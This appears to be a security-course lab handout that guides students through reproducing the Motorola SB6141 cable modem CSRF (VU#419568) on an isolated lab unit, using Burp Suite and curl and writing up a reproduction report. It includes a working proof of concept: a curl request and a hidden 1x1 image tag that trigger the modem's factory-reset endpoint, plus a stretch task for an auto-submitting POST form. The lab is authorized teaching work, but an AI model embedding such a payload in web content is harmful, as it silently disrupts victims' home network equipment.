~3 hr. Reproduce the SB6141 CSRF (VU#419568) manually. Capture the request shape in Burp Suite; replay with curl; produce a transcript a peer researcher could follow.
Goal: ship a transcript demonstrating the CSRF on a lab SB6141. The transcript pairs the curl reproduction with a Burp Suite Proxy history export showing the same request.
Estimated time: ~3 hr (1 hr Burp setup; 1.5 hr reproduction + transcript; 30 min commit and reflection).
Prerequisites: Week 2 lecture (HTTP, CSRF mechanics, Burp Suite tour). Lab 1 complete. Hardware Checkout SB6141 received OR self-purchased unit received. Isolated lab network setup (a preview of Lab 3; the formal network-documentation lab is next week, but you need a working isolated network this week).
Authorization line: Write this in your lab notebook before any HTTP traffic:
Lab 2 session, 2026-MM-DD HH:MM. Target SB6141 unit <serial>; scope per signed cohort
authorization (filed 2026-MM-DD); reproduction of VU#419568 CSRF; no testing outside
the documented lab network.
The line is non-optional. Lab 2 is the first hardware-touching lab.
Setup
mkdir -p ~/adv-101/lab-2
cd ~/adv-101/lab-2
Confirm:
- SB6141 is powered on; LEDs settled
- Laptop has a static IP in
192.168.100.0/24(e.g.,192.168.100.2) ping 192.168.100.1succeeds;ping 8.8.8.8FAILS (isolation verified)- Burp Suite is running with Proxy listener on
127.0.0.1:8080 - A browser is configured to proxy through Burp
Part A: Discover the destructive endpoint(s) (~30 min)
Open the SB6141 administrative interface in the Burp-proxied browser:
http://192.168.100.1/
Burp's HTTP history fills with the page-load requests. Browse the administrative interface; click through to any "Reboot" or "Restore Factory Defaults" or "Restart" button (do NOT click yet; just navigate to the page).
Identify (in the admin interface) the URL or form action for the destructive action. Hover over the button; check the underlying form. Note the URL.
In your lab notebook, record:
Destructive endpoint discovered: <URL>
Method (from form attribute): <GET or POST>
Form fields (if any): <list>
The Longenecker advisory hints at multiple endpoints. The most-commonly cited is /goform/RgFactoryDefault for factory reset; firmware-version variation may produce different paths. Your job is to find what exists on YOUR unit.
Part B: Capture the request shape via Burp (~30 min)
Click the destructive button ONCE (factory reset; the modem reboots and restores defaults; you will need to wait ~60 seconds for it to come back, then reconfigure your laptop's static IP if needed).
While clicking: Burp's HTTP history records the exact request. Find it in the history:
- Filter the history by URL contains
goformor whatever path you identified - Right-click the request -> Send to Repeater
In Burp Repeater, you see the full request. Copy it. Paste it into lab-2-reproduction.md:
## Captured request (from Burp Repeater)
GET /goform/RgFactoryDefault HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (...) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Language: en-US,en;q=0.5 Referer: http://192.168.100.1/admin.html Connection: close
(Substitute your actual captured request.)
Also export the relevant Burp HTTP history entry:
- Right-click the history row -> Save item -> save as
lab-2-burp-history.xml
Part C: Reproduce with curl (~45 min)
After the modem comes back from its first reboot, reproduce the action via curl:
curl -v "http://192.168.100.1/goform/RgFactoryDefault"
The -v flag shows the full request and response. Capture the output. In lab-2-reproduction.md:
## `curl` reproduction
Command:
```bash
curl -v "http://192.168.100.1/goform/RgFactoryDefault"
Verbose output (-v):
* Trying 192.168.100.1:80...
* Connected to 192.168.100.1 (192.168.100.1) port 80 (#0)
> GET /goform/RgFactoryDefault HTTP/1.1
> Host: 192.168.100.1
> User-Agent: curl/8.0.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< (other headers)
<
(response body if any)
* Closing connection 0
Observed modem behavior: LEDs reset; administrative interface unreachable for ~60 seconds; on return, configuration defaults observed (saved Wi-Fi name reset, custom DNS reset, etc.).
(Substitute your actual output.)
---
## Part D: Confirm the CSRF cross-origin pathway (~20 min)
The `curl` reproduction proves the endpoint is exploitable from an off-modem position. To complete the CSRF demonstration, create a minimal HTML page that triggers the same request via a browser:
`csrf-demo.html`:
```html
<!DOCTYPE html>
<html>
<head><title>CSRF demo (academy lab)</title></head>
<body>
<h1>This page demonstrates the SB6141 CSRF.</h1>
<p>The image below triggers a GET request to the SB6141's factory-reset endpoint.</p>
<img src="http://192.168.100.1/goform/RgFactoryDefault" alt="csrf trigger" width="1" height="1">
</body>
</html>
Save the file in your lab directory. Open it in the same browser (the one that has direct network access to the SB6141; this is the "victim browser" in the CSRF model). Observe: the modem reboots again.
This is the CSRF demonstrated end-to-end. The HTML lives on disk (a real attacker would host it; same difference); the victim's browser sees the page and issues the request; the modem honors the request because the browser's network position satisfies the implicit "authentication."
Record this in lab-2-reproduction.md:
## CSRF demonstration
The `csrf-demo.html` page in this directory contains an embedded `<img>` tag whose `src`
points at the SB6141's destructive endpoint. When opened in a browser with network access
to the SB6141, the browser issues the GET request to load the image; the modem honors the
request and reboots; the browser receives a non-image response (presumably HTML) which it
silently discards.
The CSRF mechanic works because the modem authenticates by network position only.
A CSRF token, SameSite=strict cookies, or a POST-only destructive endpoint with origin
validation would each prevent this.
Part E: Write the reproduction summary (~15 min)
Add a closing section to lab-2-reproduction.md:
## Reproduction summary
**Target:** Motorola SURFboard SB6141 (unit serial <X>), firmware version <Y>
**CVE / advisory:** CERT/CC VU#419568 (Longenecker 2015)
**Authorization basis:** signed cohort cyber-use authorization filed 2026-MM-DD; per-session
authorization line in lab notebook for this session
**Reproduction status:** confirmed. Three methods exercised:
1. Direct browser navigation through Burp proxy (Part B): destructive action triggered
2. `curl -v` invocation (Part C): destructive action triggered
3. `csrf-demo.html` cross-origin GET via embedded image (Part D): destructive action triggered
**Evidence:** Burp HTTP history export at `lab-2-burp-history.xml`; `curl -v` transcript
above; HTML proof-of-concept at `csrf-demo.html`; modem-behavior observations above.
**Remediation (vendor-side, hypothetical for an end-of-life device):**
1. Add a CSRF token to all state-changing endpoints; validate the token server-side
2. Change destructive endpoints from GET to POST; validate `Origin:` header server-side
3. Add SameSite=strict to any session cookies (does not apply directly to the SB6141 since
the device has no session cookies; would apply to a fix that introduces them)
**Mitigation (operator-side, available today):**
1. Restrict the SB6141 administrative-interface access to a trusted device (e.g., a single
admin workstation, by ACL on the upstream switch)
2. Replace the SB6141 with a current-generation device whose admin interface uses session
cookies + CSRF tokens
**What this reproduction does NOT demonstrate:** post-exploitation; persistence; chaining
with any other vulnerability. The demonstration stops at "the destructive endpoint is
reachable cross-origin without authentication."
This section is template material you will reuse in Week 9's CVD draft and the capstone report.
Part F: Commit your work (~15 min)
cd ~/adv-101/lab-2
git add lab-2-reproduction.md lab-2-burp-history.xml csrf-demo.html
git commit -m "Lab 2: manual CSRF reproduction of VU#419568 on lab SB6141 (burp + curl + HTML PoC)"
Expected output / artifact
~/adv-101/lab-2/lab-2-reproduction.md containing:
- Authorization line (notebook excerpt)
- Captured request (from Burp Repeater)
curl -vreproduction with full verbose output- Cross-origin CSRF demonstration via
csrf-demo.html - Reproduction summary (target, authorization basis, evidence inventory, remediation, mitigation, negative-scope)
Plus the Burp HTTP history export at lab-2-burp-history.xml and the PoC HTML at csrf-demo.html.
All committed to your ~/adv-101/ Git repository.
What's the failure mode?
This lab's likely failure modes:
- Network isolation not verified. If
ping 8.8.8.8succeeds during the lab, your lab is not isolated; your tool traffic could reach the public Internet. Stop the lab; fix the isolation; resume. - Working against a non-SB6141 by accident. Some cable modems share the
192.168.100.1admin IP; only the SB6141 has VU#419568. Checkhttp://192.168.100.1/in the browser; the page title and visible product identifier should match SB6141. If it does not, you have the wrong device; stop. - Skipping the authorization line. The discipline starts here. A lab without the authorization line is a lab outside scope per the academy's discipline; the lab is not scored.
- Burp Suite proxy not actually capturing. If the browser's HTTP history in Burp is empty, the browser is not actually proxying through Burp. Check your browser's proxy settings; check Burp's listener is on the expected port; restart both.
- Cross-origin PoC not loading the image due to caching. Browsers cache image-load failures. If your
csrf-demo.htmldoes not trigger the reset on second load, clear the browser cache or useCmd-Shift-R(force reload).
Common pitfalls
- Treating the destructive action as routine. The modem factory-reset takes ~60 seconds and disconnects your isolated network during it. Have your laptop's static IP setup ready to re-apply after the reset.
- Forgetting to capture the response. The CSRF triggers the action; the response is often empty or a redirect. Capture it anyway; the response shape is part of the reproduction evidence.
- Cross-firmware variation. Different SB6141 firmware versions use different goform paths. The advisory lists several; your specific unit may use a path the advisory does not name explicitly. Discover, do not assume.
- Confusing the CSRF with XSS or session-hijacking. CSRF causes the victim's browser to issue a request the victim did not intend. XSS causes attacker-controlled JavaScript to execute in the victim's browser. Session hijacking steals the victim's session credentials. The SB6141 case is CSRF, not the other two; be precise.
What would a reviewer ask?
- "Show me your
curlinvocation. Why did you use GET, not POST?" - "Your
csrf-demo.htmluses an<img>tag to trigger the request. Why an<img>rather than a<form>?" - "If the SB6141 vendor added a CSRF token tomorrow, what would your tool need to change?"
Stretch (optional)
- POST-form CSRF variant. Build a second
csrf-demo-post.htmlthat uses an auto-submitting<form>withmethod=POST. Trigger a POST-based SB6141 destructive endpoint (if one exists on your firmware version). Compare the Burp capture to the GET variant. - Multiple destructive endpoints. The Longenecker advisory lists more than one. Enumerate them on YOUR firmware version (browse the admin interface; check
view-source:on any administration page; look for<form action=...>URLs). Reproduce each one. Add to yourlab-2-reproduction.md. - Burp Repeater for parameter fuzzing. Send the captured request to Burp Repeater; modify parameters or headers; observe the modem's response variation. The exercise builds intuition for Week 4's fingerprint-only Tool v0.1.
- Cable Haunt context. Read the Cable Haunt (CVE-2019-19494) write-up at
https://volpefirm.com/cable-haunt-exploiting-docsis-modems/. Cable Haunt is structurally different (buffer overflow + WebSocket + CORS bypass); compare with the SB6141 CSRF. Write a 200-word comparison; what makes one "easy" and the other "hard"?
Lab 2 v0.1.